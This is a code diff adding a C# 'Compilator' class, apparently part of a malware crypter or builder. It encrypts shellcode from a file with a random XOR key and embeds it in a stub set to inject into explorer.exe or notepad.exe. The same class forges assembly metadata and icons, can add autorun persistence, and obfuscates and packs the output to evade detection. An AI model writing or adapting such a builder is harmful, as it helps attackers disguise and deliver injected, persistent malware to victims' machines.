|
| 1 | +using Microsoft.CSharp; |
| 2 | +using System; |
| 3 | +using System.CodeDom.Compiler; |
| 4 | +using System.IO; |
| 5 | +using System.Linq; |
| 6 | +using System.Text.RegularExpressions; |
| 7 | + |
| 8 | +namespace Builder.Core |
| 9 | +{ |
| 10 | + class Compilator |
| 11 | + { |
| 12 | + #region Compile Init |
| 13 | + public static string PerformCompilate |
| 14 | + ( |
| 15 | + string targetFile, string outPath, bool a64, bool a86, |
| 16 | + string IconFile, string AssemblyFile, bool UseObfuscate, bool UseAutorun, bool UseCompress, string injectProcess |
| 17 | + ) |
| 18 | + { |
| 19 | + if (File.Exists(targetFile)) |
| 20 | + { |
| 21 | + byte[] RandomXor = Helper.GenerateRandomBytes(32); |
| 22 | + |
| 23 | + byte[] bytePayload = Helper.EncryptShellcodeFromFile(targetFile, RandomXor); |
| 24 | + |
| 25 | + string result = CompileStub(bytePayload, RandomXor, outPath, a64, a86, IconFile, AssemblyFile, UseObfuscate, UseAutorun, UseCompress, injectProcess); |
| 26 | + return result; |
| 27 | + } |
| 28 | + |
| 29 | + return "Failed to compile!\nFile does not exists. . ."; |
| 30 | + } |
| 31 | + #endregion |
| 32 | + |
| 33 | + #region Compile Algorithm |
| 34 | + public static string CompileStub |
| 35 | + ( |
| 36 | + byte[] encPayload, byte[] key, string outPath, bool a64, bool a86, |
| 37 | + string IconFile, string AssemblyFile, bool UseObfuscate, bool UseAutorun, bool UseCompress, string injectProcess |
| 38 | + ) |
| 39 | + { |
| 40 | + string stubSourceCode = Properties.Resources.stub; |
| 41 | + |
| 42 | + if (injectProcess.Contains("explorer")) |
| 43 | + { |
| 44 | + stubSourceCode = stubSourceCode.Replace("%process_to_inject%", "C:\\\\Windows\\\\explorer.exe"); |
| 45 | + } |
| 46 | + |
| 47 | + else |
| 48 | + { |
| 49 | + stubSourceCode = stubSourceCode.Replace("%process_to_inject%", "c:\\\\windows\\\\system32\\\\notepad.exe"); |
| 50 | + } |
| 51 | + |
| 52 | + |
| 53 | + string hexArray = Helper.GenerateHexArray(encPayload); |
| 54 | + |
| 55 | + stubSourceCode = Regex.Replace( |
| 56 | + stubSourceCode, |
| 57 | + @"public static byte\[\] Payload = new byte\[\] \{.*?\};", |
| 58 | + "public static byte[] Payload = " + hexArray, |
| 59 | + RegexOptions.Singleline |
| 60 | + ); |
| 61 | + |
| 62 | + string newKey = "public static byte[] Key = new byte[] { " + string.Join(", ", key.Select(b => "0x" + b.ToString("X2"))) + " };"; |
| 63 | + stubSourceCode = Regex.Replace( |
| 64 | + stubSourceCode, |
| 65 | + @"public static byte\[\] Key = new byte\[\] \{.*?\};", |
| 66 | + newKey, |
| 67 | + RegexOptions.Singleline |
| 68 | + ); |
| 69 | + |
| 70 | + CompilerParameters parameters = new CompilerParameters |
| 71 | + { |
| 72 | + GenerateExecutable = true, |
| 73 | + OutputAssembly = outPath, |
| 74 | + CompilerOptions = "/target:winexe", |
| 75 | + IncludeDebugInformation = false |
| 76 | + }; |
| 77 | + |
| 78 | + if (a64) |
| 79 | + { |
| 80 | + parameters.CompilerOptions += " /platform:x64"; |
| 81 | + } |
| 82 | + |
| 83 | + if (a86) |
| 84 | + { |
| 85 | + parameters.CompilerOptions += " /platform:x86"; |
| 86 | + } |
| 87 | + |
| 88 | + if (UseAutorun) |
| 89 | + { |
| 90 | + parameters.CompilerOptions += " /define:UseAutorun"; |
| 91 | + } |
| 92 | + |
| 93 | + if (!string.IsNullOrEmpty(AssemblyFile) && File.Exists(AssemblyFile)) |
| 94 | + { |
| 95 | + parameters.CompilerOptions += " /define:UseAssembly"; |
| 96 | + var metadata = File.ReadAllLines(AssemblyFile); |
| 97 | + |
| 98 | + string title = metadata.Length > 0 ? metadata[0] : "N/A"; |
| 99 | + string description = metadata.Length > 1 ? metadata[1] : "N/A"; |
| 100 | + string company = metadata.Length > 2 ? metadata[2] : "N/A"; |
| 101 | + string product = metadata.Length > 3 ? metadata[3] : "N/A"; |
| 102 | + string copyright = metadata.Length > 4 ? metadata[4] : "N/A"; |
| 103 | + string trademarks = metadata.Length > 5 ? metadata[5] : "N/A"; |
| 104 | + string fileVersion = metadata.Length > 6 ? metadata[6] : "N/A"; |
| 105 | + string productVersion = metadata.Length > 7 ? metadata[7] : "N/A"; |
| 106 | + |
| 107 | + stubSourceCode = stubSourceCode.Replace("%TITLE%", title); |
| 108 | + stubSourceCode = stubSourceCode.Replace("%DESC%", description); |
| 109 | + stubSourceCode = stubSourceCode.Replace("%COMPANY%", company); |
| 110 | + stubSourceCode = stubSourceCode.Replace("%PRODUCT%", product); |
| 111 | + stubSourceCode = stubSourceCode.Replace("%COPYRIGHT%", copyright); |
| 112 | + stubSourceCode = stubSourceCode.Replace("%TRADEMARK%", trademarks); |
| 113 | + stubSourceCode = stubSourceCode.Replace("%VERSION%", productVersion); |
| 114 | + stubSourceCode = stubSourceCode.Replace("%FILE_VERSION%", fileVersion); |
| 115 | + } |
| 116 | + |
| 117 | + parameters.ReferencedAssemblies.Add("System.dll"); |
| 118 | + parameters.ReferencedAssemblies.Add("System.Core.dll"); |
| 119 | + parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll"); |
| 120 | + parameters.ReferencedAssemblies.Add("System.Diagnostics.Process.dll"); |
| 121 | + parameters.ReferencedAssemblies.Add("System.Linq.dll"); |
| 122 | + |
| 123 | + if (!string.IsNullOrEmpty(IconFile) && File.Exists(IconFile)) |
| 124 | + { |
| 125 | + parameters.CompilerOptions += $" /win32icon:\"{IconFile}\""; |
| 126 | + } |
| 127 | + |
| 128 | + using (CSharpCodeProvider codeProvider = new CSharpCodeProvider()) |
| 129 | + { |
| 130 | + CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters, stubSourceCode); |
| 131 | + |
| 132 | + if (results.Errors.Count > 0) |
| 133 | + { |
| 134 | + foreach (CompilerError error in results.Errors) |
| 135 | + { |
| 136 | + Console.WriteLine($"Error compilation: {error.ErrorText}"); |
| 137 | + Console.WriteLine($"File: {error.FileName}"); |
| 138 | + Console.WriteLine($"String: {error.Line}, Column: {error.Column}"); |
| 139 | + Console.WriteLine($"ID Error: {error.ErrorNumber}"); |
| 140 | + Console.WriteLine($"This {(error.IsWarning ? "Warning" : "Error")}"); |
| 141 | + Console.WriteLine(new string('-', 50)); |
| 142 | + } |
| 143 | + throw new InvalidOperationException("Failed to compilate."); |
| 144 | + } |
| 145 | + } |
| 146 | + |
| 147 | + if (UseObfuscate) |
| 148 | + { |
| 149 | + Obfuscator.PerformObfuscation(outPath); |
| 150 | + } |
| 151 | + |
| 152 | + if (UseCompress) |
| 153 | + { |
| 154 | + PackerCompilator.PerformPacking(outPath, UseObfuscate, IconFile, AssemblyFile); |
| 155 | + } |
| 156 | + |
| 157 | + return $"Compiling successfull!\nBuild-File: {Path.GetFileNameWithoutExtension(outPath)}"; |
| 158 | + } |
| 159 | + #endregion |
| 160 | + } |
| 161 | +} |
0 commit comments